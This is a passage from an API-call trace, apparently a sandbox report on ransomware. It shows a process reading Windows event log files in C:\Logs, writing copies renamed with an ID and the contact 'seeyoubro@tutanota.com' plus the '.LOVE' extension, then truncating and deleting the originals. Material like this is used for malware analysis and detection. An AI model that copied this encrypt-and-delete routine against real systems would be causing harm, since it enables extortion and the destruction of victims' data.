[0204.559] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString=".xls") returned 4 [0204.559] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString=".xlsx") returned 5 [0204.559] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.560] lstrlenW (lpString=".ppt") returned 4 [0204.560] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.560] lstrlenW (lpString=".zip") returned 4 [0204.560] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.560] lstrlenW (lpString=".rar") returned 4 [0204.560] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.560] lstrlenW (lpString=".bz2") returned 4 [0204.560] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.560] lstrlenW (lpString=".7z") returned 3 [0204.560] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.968] lstrlenW (lpString=".dbf") returned 4 [0204.969] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.969] lstrlenW (lpString=".1cd") returned 4 [0204.969] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.969] lstrlenW (lpString=".jpg") returned 4 [0204.969] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.969] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.969] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0204.969] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0204.969] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0204.969] CloseHandle (hObject=0x330) returned 1 [0204.969] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0204.970] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.970] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0204.970] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.970] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.970] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0204.970] GetLastError () returned 0x0 [0204.970] ReadFile (in: hFile=0x330, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.005] WriteFile (in: hFile=0x364, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.007] ReadFile (in: hFile=0x330, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.007] WriteFile (in: hFile=0x364, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x132, lpOverlapped=0x0) returned 1 [0205.007] SetEndOfFile (hFile=0x364) returned 1 [0205.007] CloseHandle (hObject=0x364) returned 1 [0205.013] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.013] SetEndOfFile (hFile=0x330) returned 1 [0205.014] CloseHandle (hObject=0x330) returned 1 [0205.015] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.015] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0205.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.015] lstrlenW (lpString=".doc") returned 4 [0205.015] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.015] lstrlenW (lpString=".docx") returned 5 [0205.015] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.015] lstrlenW (lpString=".pdf") returned 4 [0205.015] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString=".xls") returned 4 [0205.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString=".xlsx") returned 5 [0205.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.016] lstrlenW (lpString=".ppt") returned 4 [0205.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.016] lstrlenW (lpString=".zip") returned 4 [0205.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString=".rar") returned 4 [0205.016] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString=".bz2") returned 4 [0205.016] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString=".7z") returned 3 [0205.016] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.016] lstrlenW (lpString=".dbf") returned 4 [0205.016] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.016] lstrlenW (lpString=".1cd") returned 4 [0205.016] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.016] lstrlenW (lpString=".jpg") returned 4 [0205.016] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.016] lstrlenW (lpString=".doc") returned 4 [0205.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString=".docx") returned 5 [0205.017] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.017] lstrlenW (lpString=".pdf") returned 4 [0205.017] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString=".xls") returned 4 [0205.017] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString=".xlsx") returned 5 [0205.017] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.017] lstrlenW (lpString=".ppt") returned 4 [0205.017] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.017] lstrlenW (lpString=".zip") returned 4 [0205.017] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString=".rar") returned 4 [0205.017] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString=".bz2") returned 4 [0205.017] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString=".7z") returned 3 [0205.017] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.017] lstrlenW (lpString=".dbf") returned 4 [0205.017] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.017] lstrlenW (lpString=".1cd") returned 4 [0205.017] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0205.017] lstrlenW (lpString=".jpg") returned 4 [0205.017] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.018] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.018] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0205.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.046] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0205.046] CloseHandle (hObject=0x330) returned 1 [0205.046] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0205.046] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.046] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.046] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.046] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.046] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0205.047] GetLastError () returned 0x0 [0205.047] ReadFile (in: hFile=0x330, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.156] WriteFile (in: hFile=0x364, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.158] ReadFile (in: hFile=0x330, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.158] WriteFile (in: hFile=0x364, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x132, lpOverlapped=0x0) returned 1 [0205.158] SetEndOfFile (hFile=0x364) returned 1 [0205.159] CloseHandle (hObject=0x364) returned 1 [0205.161] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.161] SetEndOfFile (hFile=0x330) returned 1 [0205.162] CloseHandle (hObject=0x330) returned 1 [0205.163] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.163] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0205.163] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.163] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.163] lstrlenW (lpString=".doc") returned 4 [0205.163] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.163] lstrlenW (lpString=".docx") returned 5 [0205.163] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.163] lstrlenW (lpString=".pdf") returned 4 [0205.163] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.163] lstrlenW (lpString=".xls") returned 4 [0205.163] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.163] lstrlenW (lpString=".xlsx") returned 5 [0205.164] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.164] lstrlenW (lpString=".ppt") returned 4 [0205.164] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.164] lstrlenW (lpString=".zip") returned 4 [0205.164] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString=".rar") returned 4 [0205.164] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString=".bz2") returned 4 [0205.164] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString=".7z") returned 3 [0205.164] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.164] lstrlenW (lpString=".dbf") returned 4 [0205.164] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.164] lstrlenW (lpString=".1cd") returned 4 [0205.164] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.164] lstrlenW (lpString=".jpg") returned 4 [0205.164] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.164] lstrlenW (lpString=".doc") returned 4 [0205.164] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString=".docx") returned 5 [0205.164] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.164] lstrlenW (lpString=".pdf") returned 4 [0205.164] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.164] lstrlenW (lpString=".xls") returned 4 [0205.164] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString=".xlsx") returned 5 [0205.165] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.165] lstrlenW (lpString=".ppt") returned 4 [0205.165] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.165] lstrlenW (lpString=".zip") returned 4 [0205.165] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString=".rar") returned 4 [0205.165] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString=".bz2") returned 4 [0205.165] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString=".7z") returned 3 [0205.165] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.165] lstrlenW (lpString=".dbf") returned 4 [0205.165] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.165] lstrlenW (lpString=".1cd") returned 4 [0205.165] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0205.165] lstrlenW (lpString=".jpg") returned 4 [0205.165] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.165] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.165] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0205.165] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.166] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0205.166] CloseHandle (hObject=0x330) returned 1 [0205.166] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0205.166] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.166] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.166] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.166] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.166] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0205.170] GetLastError () returned 0x0 [0205.170] ReadFile (in: hFile=0x330, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.212] WriteFile (in: hFile=0x364, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.214] ReadFile (in: hFile=0x330, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.214] WriteFile (in: hFile=0x364, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x13a, lpOverlapped=0x0) returned 1 [0205.215] SetEndOfFile (hFile=0x364) returned 1 [0205.215] CloseHandle (hObject=0x364) returned 1 [0205.217] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.217] SetEndOfFile (hFile=0x330) returned 1 [0205.219] CloseHandle (hObject=0x330) returned 1 [0205.219] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.219] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0205.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.222] lstrlenW (lpString=".doc") returned 4 [0205.222] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.222] lstrlenW (lpString=".docx") returned 5 [0205.222] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.222] lstrlenW (lpString=".pdf") returned 4 [0205.222] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.222] lstrlenW (lpString=".xls") returned 4 [0205.222] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.222] lstrlenW (lpString=".xlsx") returned 5 [0205.222] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.223] lstrlenW (lpString=".ppt") returned 4 [0205.223] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.223] lstrlenW (lpString=".zip") returned 4 [0205.223] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString=".rar") returned 4 [0205.223] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString=".bz2") returned 4 [0205.223] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString=".7z") returned 3 [0205.223] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.223] lstrlenW (lpString=".dbf") returned 4 [0205.223] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.223] lstrlenW (lpString=".1cd") returned 4 [0205.223] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.223] lstrlenW (lpString=".jpg") returned 4 [0205.223] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.223] lstrlenW (lpString=".doc") returned 4 [0205.223] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.223] lstrlenW (lpString=".docx") returned 5 [0205.223] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.223] lstrlenW (lpString=".pdf") returned 4 [0205.223] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString=".xls") returned 4 [0205.224] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString=".xlsx") returned 5 [0205.224] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.224] lstrlenW (lpString=".ppt") returned 4 [0205.224] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.224] lstrlenW (lpString=".zip") returned 4 [0205.224] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString=".rar") returned 4 [0205.224] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString=".bz2") returned 4 [0205.224] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString=".7z") returned 3 [0205.224] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.224] lstrlenW (lpString=".dbf") returned 4 [0205.224] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.224] lstrlenW (lpString=".1cd") returned 4 [0205.224] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0205.224] lstrlenW 